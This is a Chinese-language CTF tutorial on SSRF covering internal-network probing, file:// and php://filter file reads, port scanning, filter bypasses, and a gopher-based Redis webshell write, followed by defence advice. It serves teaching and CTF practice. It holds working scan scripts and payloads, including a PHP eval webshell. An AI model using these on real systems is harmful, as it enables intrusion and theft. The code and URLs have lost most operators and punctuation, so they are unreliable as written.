SSRF漏洞实战:从原理到CTFHub技能树内网渗透与端口扫描
1. 项目概述从CTFHub技能树看SSRF实战精要最近在带新人过CTFHub的技能树发现SSRFServer-Side Request Forgery服务端请求伪造这个点卡住了不少人。很多人知道概念但一碰到具体题目比如“内网访问”、“用伪协议读文件”、“端口扫描”这些经典考点思路就乱了工具用起来也不顺手。这其实挺正常的SSRF本身就是一个“知易行难”的漏洞它考验的不仅仅是知道漏洞原理更是对网络协议、服务器环境、过滤规则的综合理解和灵活绕过能力。简单来说SSRF就是让后端服务器代替攻击者去发起一个网络请求。这个请求的目标可以是外网但更危险、在CTF和实战中更常见的是对内网资源的探测与攻击。为什么它这么重要因为现代应用架构中后端服务器往往处于一个相对受信任的内部网络位置它能访问到外部攻击者直接触碰不到的系统和端口比如数据库的管理后台、Redis服务、甚至是云平台的元数据接口。通过SSRF攻击者就像拿到了一把从内部打开大门的钥匙。CTFHub技能树里这几个题目——“内网访问”、“伪协议读取文件”、“端口扫描”可以说是SSRF攻击最核心、最基础的三个应用场景几乎涵盖了入门到进阶所需的所有关键技能。搞懂了它们你不仅能轻松应对大部分CTF中的SSRF题对真实渗透测试中的信息收集和内网突破也会有更清晰的认识。接下来我就结合带人刷题的经验把这几个场景掰开揉碎了讲清楚重点放在那些容易踩坑的细节和真正好用的技巧上。2. SSRF核心原理与在CTF中的常见出题逻辑要打好SSRF不能光记payload得先明白服务器为什么会“听话”地帮我们去发起请求。这得从Web应用的常见功能说起。2.1 漏洞成因为什么服务器会“代劳”想象一个场景一个Web应用提供了“网页截图”、“天气查询”、“文件下载”或者“URL转码”功能。你输入一个URL比如http://example.com服务器端通常是用PHP、Python、Java等语言写的后端代码会去获取这个URL的内容然后把结果处理一下再展示给你。这个过程大致如下用户在前端输入一个URL参数例如?urlhttp://example.com。后端代码比如PHP的file_get_contents()或curl_exec()接收到这个参数。后端代码不加严格校验直接使用这个参数去发起网络请求。服务器将请求http://example.com的结果返回给用户。漏洞就出现在第3步缺乏对用户输入URL的严格校验。如果攻击者提交的不是一个普通的外网URL而是一个指向内网地址如http://192.168.1.1/admin或者特殊协议如file:///etc/passwd的字符串服务器也会傻傻地照办。因为请求是从服务器内部发起的所以它可以畅通无阻地访问那些配置了“仅限内网访问”的资源。在CTF题目中出题人往往会模拟这种有问题的功能。比如一个“网页快照”功能或者一个“检测链接是否安全”的接口。题目源码里会故意留下一个未经验证或验证不严的请求函数这就是我们的突破口。2.2 CTF中SSRF题目的关键过滤与绕过点出题人不会让你轻易得逞他们会在代码中加入各种过滤规则。理解这些过滤机制是构造有效payload的前提。常见的过滤点包括协议黑/白名单只允许http://和https://或者禁止file://、gopher://、dict://等危险协议。域名或IP限制禁止指向内网IP段如127.0.0.1192.168.*.*10.*.*.*172.16.*.*到172.31.*.*或者要求域名必须包含某个关键词如ctfhub.com。URL解析与重定向代码可能会对输入的URL进行解析提取host或者检查是否指向某个已知的、安全的地址然后可能会经过一次或多次重定向。对应的我们也有丰富的绕过手段利用URL解析差异这是最经典的绕过方式。不同语言、不同库的URL解析器可能存在行为差异。添加端口http://127.0.0.1:80evil.com在某些解析中前面的部分会被认为是认证信息用户名:密码实际请求的是evil.com。但有些老旧或配置不当的解析器可能会错误地请求127.0.0.1:80。利用畸形URL如http://127.0.0.1%00.evil.com解析器可能在%00空字节处截断实际访问127.0.0.1。域名重绑定这是高阶技巧。你控制一个域名将其A记录指向一个公网IP但TTL设置极短。当服务器第一次解析你的域名得到公网IP并通过校验后你迅速将域名解析改为内网IP如127.0.0.1。由于服务器可能缓存了DNS结果或者在某些异步请求场景下第二次实际请求时域名就指向了内网地址。CTF中有时会直接给出一个可配置的域名服务来模拟。利用IPv6、IPv4十进制、八进制格式内网回环地址127.0.0.1可以表示为十进制整数2130706433(计算方式127*256^3 0*256^2 0*256 1)八进制0177.0.0.1或017700000001十六进制0x7f.0x0.0x0.0x1或0x7f000001这些格式可能绕过简单的字符串匹配过滤。利用302/307重定向如果目标服务器允许跟随重定向这是默认行为我们可以先提供一个合法的、指向我们可控服务器的URL。当服务器请求这个URL时我们返回一个HTTP 302状态码Location头指向内网目标地址。这样服务器就会自动跳转到内网地址进行请求。Python的requests库默认会跟随重定向PHP的curl和file_get_contents在某些配置下也会。利用不常见的协议或协议组合file://协议用于读取本地文件。dict://协议可用于探测端口它会尝试连接并返回字典协议横幅和部分信息泄露。gopher://协议是“万能协议”可以构造出HTTP、Redis、MySQL等协议的原始数据包实现更复杂的攻击但现代环境中支持较少。ssrf://等自定义协议处理不当也可能导致问题。注意在实际操作和CTF中file_get_contents()和curl的行为有时不同。例如curl默认会对URL进行编码而file_get_contents可能不会。curl支持更多的协议和选项。测试时如果一种payload不成功可以尝试换用另一种函数可能触发的格式。3. 场景一内网访问探测与利用“内网访问”是SSRF最直接的应用。目标通常是获取那些监听在内网、且对外不可见的Web服务信息。3.1 目标识别与地址空间探测拿到一个可能存在SSRF的点第一步不是盲打而是信息收集。确定漏洞点与参数通过Burp Suite抓包观察哪些参数看起来像是URL、路径或主机地址。常见参数名url,link,path,file,api,service,proxy等。判断是否有过滤先提交一个合法的外网URL如http://httpbin.org/get看功能是否正常响应是否包含目标URL的内容。然后尝试提交http://127.0.0.1或http://localhost。根据返回结果错误信息、延时、内容差异判断是否被过滤。探测内网网段如果基本确认存在SSRF就需要系统地探测内网IP。常见的私有IP段RFC 1918有10.0.0.0/8(10.0.0.0 - 10.255.255.255)172.16.0.0/12(172.16.0.0 - 172.31.255.255)192.168.0.0/16(192.168.0.0 - 192.168.255.255)此外127.0.0.0/8整个环回地址段也值得关注不只是127.0.0.1。在CTF中为了降低难度内网段通常很小可能是192.168.0.0/24或172.16.0.0/24。但在真实环境中需要更全面的扫描。3.2 利用工具进行自动化扫描手动构造每个IP的URL效率太低。我们可以结合SSRF漏洞点和现有工具进行自动化探测。方法一使用Burp Suite的Intruder最常用这是最直观的方法。假设漏洞点在http://target.com/vuln.php?urlXXX。在Burp中抓取包含url参数的请求发送到Intruder。在Positions标签清空所有自动标记只将url参数的值例如http://example.com标记为 payload 位置。在Payloads标签选择Payload type为Numbers。为了生成IP地址我们需要自定义。更推荐使用Runtime file或Simple list提前用脚本生成一个IP列表文件。例如用Python生成C段所有IPfor i in range(1, 255): print(fhttp://192.168.1.{i})将输出保存为ip_list.txt在Burp中加载此文件。在Settings-Grep - Match中可以添加一些关键词来标记成功的响应如“管理后台”、“登录”、“Index of”等便于快速识别。开始攻击。观察响应长度、状态码与其他的差异。通常开放的Web服务会返回200状态码和较长的响应体而关闭的端口可能返回连接超时、连接拒绝的错误或者响应很短。方法二编写Python脚本与SSRF漏洞点联动如果Burp不方便或者需要更复杂的逻辑可以写一个简单的Python脚本。import requests import sys target http://target.com/vuln.php param url for i in range(1, 255): ip f192.168.1.{i} test_url fhttp://{ip} payload {param: test_url} try: # 设置较短超时避免长时间等待 resp requests.get(target, paramspayload, timeout3) if resp.status_code 200 and len(resp.content) 100: # 根据实际情况调整条件 print(f[] Found: {ip} - Status: {resp.status_code}, Length: {len(resp.content)}) # 可以进一步检查响应内容中是否包含特定关键字 if bflag in resp.content or badmin in resp.content.lower(): print(f Potential interesting content at {test_url}) print(resp.text[:500]) # 打印前500字符预览 except requests.exceptions.RequestException as e: # 连接超时、拒绝等异常通常表示端口关闭或主机不存在 # print(f[-] {ip} failed: {e}) pass这个脚本会批量测试192.168.1.1到192.168.1.254并打印出可能存在Web服务的IP。方法三利用DNS重绑定与协作工具对于更复杂的过滤如检查IP是否属于内网段DNS重绑定是利器。你可以使用在线服务如rbndr.us或者自己搭建一个DNS服务器。原理是你提供一个域名如7f000001.rbndr.us该域名第一次解析返回一个公网IP用于通过过滤检查TTL极短如0秒。当服务器真正发起请求时DNS服务器返回内网IP如127.0.0.1。这样请求就成功指向了内网。在CTF中题目有时会提供一个可控的域名解析接口来模拟这种场景。3.3 访问到内网服务后做什么当你发现一个内网Web服务比如http://192.168.1.100:8080接下来就是常规的Web渗透测试了。目录扫描使用dirsearch、gobuster等工具扫描隐藏的目录和文件如/admin,/backup,/config,/phpinfo.php。识别应用通过HTTP响应头、页面特征、Cookie等识别运行的应用如Tomcat, Jenkins, WordPress, 路由器管理界面。尝试默认凭据很多内网服务使用弱口令或默认密码。准备一份常见的用户名密码字典进行爆破。寻找漏洞根据识别出的应用和版本搜索对应的公开漏洞。读取敏感文件如果服务存在任意文件读取LFI可以尝试读取/etc/passwd、/proc/self/environ、应用配置文件等。寻找Flag在CTF中目标很明确flag可能就在页面的源代码、注释、响应头或者某个特定文件中。实操心得内网扫描时响应时间和响应长度是两个极其重要的指标。一个开放的HTTP服务状态码200和“连接被拒绝”的错误可能伴随一个简短的错误页面在长度上差别很大。在Burp Intruder中按“响应长度”排序能快速定位到异常条目。另外注意观察是否有“跳转”。如果提交http://192.168.1.100返回了302跳转到登录页这也说明该IP存在服务。4. 场景二利用伪协议读取本地文件当SSRF漏洞点支持除了HTTP/S以外的协议时攻击面就大大增加了。file://协议是其中最直接的一种允许我们读取服务器本地的文件。4.1 file:// 协议详解与利用file://协议用于访问本地文件系统。其基本格式为file:///绝对路径。在Linux/Unix系统上三个斜杠后的路径是绝对路径如file:///etc/passwd。在Windows系统上可能是file:///C:/Windows/win.ini。在CTF中的应用 题目通常会在服务端使用类似file_get_contents($_GET[url])的代码。如果我们传入?urlfile:///etc/passwd服务器就会读取本地的/etc/passwd文件并将其内容输出到响应中。常见敏感文件路径Linux/etc/passwd用户账户信息常作为漏洞存在的证明。/etc/shadow用户密码哈希通常需要root权限。/etc/hosts主机名映射。/proc/self/environ当前进程的环境变量可能包含数据库密码、密钥等。/proc/self/cmdline启动当前进程的命令行参数。/proc/net/arpARP缓存表有助于了解内网拓扑。/proc/version系统内核版本。Web应用源码如/var/www/html/index.php/app/config/database.php。日志文件如/var/log/apache2/access.log可能包含敏感信息。常见敏感文件路径WindowsC:\Windows\System32\drivers\etc\hostsC:\boot.ini(旧系统)C:\Windows\win.iniWeb应用目录下的配置文件。4.2 绕过协议限制与路径遍历出题人肯定不会让你直接使用file://。常见的限制和绕过方法如下协议黑名单代码可能过滤了file://字符串。大小写绕过File://FILE://fiLe://。URL编码对部分或全部字符进行URL编码。file://编码后是%66%69%6c%65%3a%2f%2f。但要注意服务器可能在解析前会解码一次。双重编码%2566%2569%256c%2565%253a%252f%252f对百分号本身也编码。如果服务器进行了两次解码可能生效。使用其他协议如果支持php://filter可以用它来读取文件见下文。路径过滤与目录穿越代码可能检查路径中是否包含etc、passwd等关键词。绝对路径直接使用/etc/passwd。相对路径如果知道Web根目录可以尝试../../../../etc/passwd进行目录穿越。file://协议也支持相对路径但基点取决于服务器进程的当前工作目录通常不好猜。空字节截断在PHP老版本5.3.4中?urlfile:///etc/passwd%00.jpg如果代码后面有拼接后缀的检查%00可能被截断。但现代PHP版本已修复。利用软链接如果服务器上存在指向敏感文件的软链接可以读取链接文件。4.3 利用php://filter协议实现更灵活的读取PHP环境下php://filter是一个强大的伪协议它本身不是用来发起网络请求的但常与文件包含、文件读取函数结合在SSRF的上下文中如果后端代码是include()或file_get_contents()且参数部分可控就可能利用它。php://filter可以用于读取文件并且能在读取过程中对数据进行编码转换这有时能绕过一些内容检查或显示限制。基本读取php://filter/readconvert.base64-encode/resource/etc/passwd这个payload会以base64编码的形式读取/etc/passwd文件的内容。输出是一串base64字符串解码后即可得到原文。为什么要base64编码因为原始文件可能包含特殊字符如,直接输出可能会被浏览器解释为HTML标签或者被服务端的某些输出过滤拦截。Base64编码后是纯文本能完整传输。组合利用假设SSRF点完全可控但直接输出文件内容被拦截可以尝试?urlphp://filter/readconvert.base64-encode/resourcefile:///etc/passwd这种嵌套用法不一定总是有效取决于后端代码如何处理协议。更常见的是直接指定文件路径。其他过滤器convert.iconv.*进行字符集转换有时可用于绕过WAF或处理特殊编码文件。string.rot13对内容进行ROT13编码。zlib.*进行压缩/解压。注意事项php://filter通常只在PHP环境中有效且需要allow_url_include设置为On时才能与include等函数完美配合。对于file_get_contents()allow_url_fopen需要为On。在CTF中这些设置往往是为了题目而开启的。在实际渗透测试信息收集时如果发现目标使用PHP可以尝试此协议。5. 场景三利用SSRF进行端口扫描端口扫描是SSRF另一个杀手级应用。通过服务器作为代理我们可以探测目标内网主机开放了哪些端口从而识别运行的服务如SSH-22, Telnet-23, HTTP-80/443, HTTPS-443, FTP-21, MySQL-3306, Redis-6379, MongoDB-27017等。5.1 基于HTTP响应的端口探测原理原理很简单我们构造一个指向目标IP:端口的URL如http://192.168.1.1:80让服务器去请求它。然后根据服务器的响应情况来判断端口状态端口开放且有HTTP服务通常会返回一个正常的HTTP响应状态码200, 301, 404等响应体有内容。这是最理想的情况。端口开放但非HTTP服务服务器尝试建立TCP连接后会发送HTTP请求报文。如果对端是SSH、Redis等非Web服务它们无法理解HTTP请求可能会直接关闭连接或者返回一些乱码。此时后端PHP函数如file_get_contents()可能会报错如“连接重置”、“无效的HTTP响应”但关键点是连接成功建立了。我们可以通过检查错误信息是否包含“连接被拒绝”Connection refused来区分。端口关闭服务器会立即收到“连接被拒绝”的错误。在PHP中file_get_contents()会因此产生一个警告并返回False但脚本可能捕获这个错误并返回一个自定义的错误页面。端口被防火墙过滤连接会超时。file_get_contents()默认超时时间较长通常几十秒会导致脚本响应极慢。因此我们的扫描脚本需要根据响应时间和错误信息来综合判断。5.2 手动与自动化扫描技巧手动测试 使用Burp Suite的Repeater模块修改url参数为http://192.168.1.1:22http://192.168.1.1:3306等。观察响应时间如果很快返回“连接被拒绝”端口可能关闭。如果等待几秒后返回超时错误端口可能被过滤或主机不存在。如果很快返回但内容异常非HTTP协议端口可能开放。响应内容/错误信息仔细阅读返回的HTML或错误信息。有时错误信息会明确告知“Failed to connect to ... Connection refused”或“Connection timed out”。自动化扫描脚本示例 下面是一个更健壮的Python扫描脚本它考虑了超时和连接状态。import requests import time import sys target http://target.com/ssrf.php param url ports_to_scan [21, 22, 23, 80, 443, 8080, 3306, 6379, 27017] # 常见端口 internal_ip 192.168.1.100 # 目标内网IP open_ports [] for port in ports_to_scan: test_url fhttp://{internal_ip}:{port} payload {param: test_url} start_time time.time() try: # 设置短超时比如2秒提高扫描效率 resp requests.get(target, paramspayload, timeout2) elapsed time.time() - start_time # 如果能收到响应即使是错误页说明TCP连接建立了 print(f[] Port {port} on {internal_ip} seems OPEN (HTTP responded in {elapsed:.2f}s, status: {resp.status_code}, len: {len(resp.content)})) open_ports.append(port) except requests.exceptions.ConnectTimeout: print(f[-] Port {port} on {internal_ip} TIMEOUT (filtered or host down?)) except requests.exceptions.ConnectionError as e: # 连接错误可能是连接被拒绝(RST)或网络不可达 elapsed time.time() - start_time # 如果错误发生得很快很可能是连接被拒绝端口关闭 if elapsed 0.5: print(f[-] Port {port} on {internal_ip} likely CLOSED (Connection refused)) else: print(f[-] Port {port} on {internal_ip} Connection Error: {e}) except requests.exceptions.ReadTimeout: # 连接建立但读取超时可能是服务不返回标准HTTP响应 print(f[?] Port {port} on {internal_ip} OPEN? (TCP connect OK but not HTTP service)) open_ports.append(port) except Exception as e: print(f[!] Port {port} error: {e}) print(f\nSummary - Open ports on {internal_ip}: {open_ports})这个脚本通过捕获不同类型的异常和响应时间来更精确地判断端口状态。ConnectionError且耗时极短通常意味着“连接被拒绝”端口关闭。ConnectTimeout意味着超时可能被防火墙过滤。成功收到响应或ReadTimeout通常意味着端口开放。5.3 识别常见非HTTP服务发现开放的非HTTP端口后可以进一步探测是什么服务。使用dict协议dict://协议可以连接到某些服务并获取其横幅信息。例如?urldict://192.168.1.1:6379/info可能会连接到Redis服务并执行INFO命令如果Redis未设置密码。但很多环境不支持dict协议。分析响应内容即使服务不支持HTTPfile_get_contents()也可能会把服务返回的原始数据banner包含在错误信息或响应体中。例如连接到一个SSH端口22可能会在错误信息中看到SSH-2.0-OpenSSH这样的横幅。基于端口的推测结合端口号进行推测然后尝试对应的攻击方式。例如发现6379端口开放很可能是Redis可以尝试未授权访问或SSRF攻击Redis。踩坑记录端口扫描最大的坑是速度和隐蔽性。file_get_contents()默认超时时间很长在php.ini中是default_socket_timeout默认60秒。如果扫描一个关闭的端口脚本会挂起直到超时这会让扫描慢得无法忍受。因此在PHP环境中如果可能要利用stream_context_create()设置超时在利用时我们的脚本也要设置短超时。另外频繁的扫描可能会触发目标服务器的防火墙或WAF规则导致IP被临时封锁。在CTF中问题不大但在真实测试中需要控制速率添加随机延时。6. 综合实战CTFHub SSRF题目精讲与技巧串联现在我们把前面的知识串联起来模拟攻克CTFHub技能树中典型的SSRF题目。假设我们遇到一个题目界面提示“请输入一个URL我将获取其标题”。6.1 第一步信息收集与漏洞确认功能测试输入http://httpbin.org/get页面返回了httpbin.org页面的标题说明功能正常。尝试基本SSRF输入http://127.0.0.1。页面返回“禁止访问内网”的错误。说明存在内网IP过滤。尝试其他协议输入file:///etc/passwd。页面返回“仅允许HTTP/HTTPS协议”。说明存在协议白名单只允许http/https。分析过滤逻辑看起来是“协议白名单”“内网IP黑名单”的组合拳。6.2 第二步绕过过滤探测内网绕过IP过滤域名重绑定题目是否提供了可控的域名服务查看题目描述或源代码提示。利用解析差异尝试http://127.0.0.1.xip.io。xip.io是一个方便的DNS服务127.0.0.1.xip.io会解析到127.0.0.1。但过滤可能检查最终解析的IP。IPv6或特殊格式尝试http://[::1](IPv6回环)http://0177.0.0.1(八进制)http://2130706433(十进制)。发现http://2130706433成功返回了本地主页说明过滤是基于字符串匹配127.、192.168.等没有将十进制IP转换回来检查。发现内网服务 现在可以用十进制IP扫描内网了。将之前的扫描脚本中的IP格式改为十进制。import requests target http://challenge-addr/ssrf.php param url def ip_to_decimal(ip): parts ip.split(.) return (int(parts[0]) 24) (int(parts[1]) 16) (int(parts[2]) 8) int(parts[3]) base_ip 192.168.1.{} for i in range(1, 255): ip base_ip.format(i) dec_ip ip_to_decimal(ip) test_url fhttp://{dec_ip} payload {param: test_url} try: resp requests.get(target, paramspayload, timeout2) if len(resp.content) 100: # 忽略错误页 print(f[] Found: {ip} ({dec_ip}) - Length: {len(resp.content)}) # 如果响应内容里包含特定关键词比如‘flag’‘admin’ if bflag in resp.content: print(f Potential flag at {test_url}) # 可以进一步请求这个URL的特定端口或路径 except: pass运行脚本发现192.168.1.101(十进制约为3232235877) 返回了一个长度不同的页面疑似有服务。6.3 第三步端口扫描与深度利用对192.168.1.101进行端口扫描使用十进制IP格式。internal_ip_dec 3232235877 ports [80, 8080, 6379, 9000] # 常见Web和非Web端口 for port in ports: test_url fhttp://{internal_ip_dec}:{port} payload {param: test_url} try: resp requests.get(target, paramspayload, timeout2) print(f[] Port {port} OPEN - Status: {resp.status_code}, Len: {len(resp.content)}) if bRedis in resp.content: # 检查是否是Redis banner print( This might be a Redis service!) except requests.exceptions.ConnectionError: print(f[-] Port {port} CLOSED) except requests.exceptions.ReadTimeout: print(f[?] Port {port} OPEN (non-HTTP?))发现3232235877:6379端口开放且返回内容包含Redis字样确认是Redis服务。6.4 第四步攻击非HTTP服务以Redis为例发现内网Redis未授权访问或通过SSRF可访问。我们可以利用SSRF攻击Redis写入Webshell或反弹Shell。前提需要目标服务器支持gopher://协议较老PHP环境可能支持或者存在可以污染协议的其他方式。CTF题目有时会特意开启gopher支持。利用Gopher协议攻击Redis Gopher协议可以发送原始的TCP数据。我们可以构造一个符合Redis协议格式的payload。构造Redis命令例如想写入一个Webshell到Web目录。flushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save将命令转换为Redis协议格式Redis协议是简单文本协议每行以\r\n结尾。数组用*元素个数\r\n开头后面跟每个元素的二进制安全字符串格式$长度\r\n数据\r\n。 以set shell ?php eval($_POST[cmd]);?为例转换后是*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$31\r\n?php eval($_POST[cmd]);?\r\n你需要将整个操作序列的所有命令都按此格式拼接。URL编码将整个payload进行URL编码以便通过GET参数传递。发起请求?urlgopher://192.168.1.101:6379/_URL编码后的Redis协议数据。 注意gopher://格式是gopher://host:port/_TCP数据数据前需要一个下划线。由于构造过程复杂通常使用现成工具或脚本。例如可以使用Gopherus这类工具自动生成攻击Redis的gopher链接。重要提醒在CTF中如果题目提示或环境允许使用Gopher协议这通常是解题的关键一步。在实际渗透测试中gopher协议的支持已越来越少需要重点测试file,http/https,dict等协议。此外攻击内网Redis、MySQL等服务的利用方式要求你对这些服务的协议有一定了解。7. 防御视角从攻击手法看SSRF防护要点理解了攻击才能更好地防御。从开发者和运维的角度防范SSRF需要多管齐下输入验证与过滤白名单优先协议白名单只允许http://和https://。禁用file://,gopher://,dict://,ftp://等所有不必要的协议。目标地址白名单如果业务只允许访问少数几个固定的外部域名/IP直接建立白名单。域名/IP黑名单至少应过滤掉所有内网IP段回环地址、私有地址、链路本地地址等和元数据服务地址如169.254.169.254用于AWS/Aliyun等云平台。注意解析一致性使用统一的、安全的URL解析库如Python的urllib.parse PHP的parse_url并在过滤前进行规范化处理确保过滤逻辑针对的是最终用于请求的host而不是原始输入。禁用不必要的URL Schema在PHP中确保allow_url_fopen和allow_url_include在php.ini中设置为Off除非业务必须。这能从根本上阻止file://、php://等伪协议的部分危险用法。网络层隔离出口过滤严格限制服务器发起的出站连接。只允许业务需要访问的特定IP和端口。这可以防止SSRF请求到达内网关键服务。服务加固内网服务不应使用默认端口和弱口令。像Redis、MySQL等应设置强密码并绑定到127.0.0.1或内网特定IP避免监听在0.0.0.0。使用安全的替代方案如果功能是获取远程图片可以考虑先下载到服务器临时目录经过安全检查文件头、内容扫描后再处理。使用受信任的代理服务或中间层来转发请求并在代理层实施严格的过滤策略。错误信息处理避免将详细的内部错误信息如连接失败的具体IP和端口返回给用户。应返回统一的、模糊的错误提示。对于CTF选手来说了解这些防御措施能帮助你更好地预测出题人可能设置的过滤点从而思考更巧妙的绕过方法。攻防永远是一个螺旋上升的过程。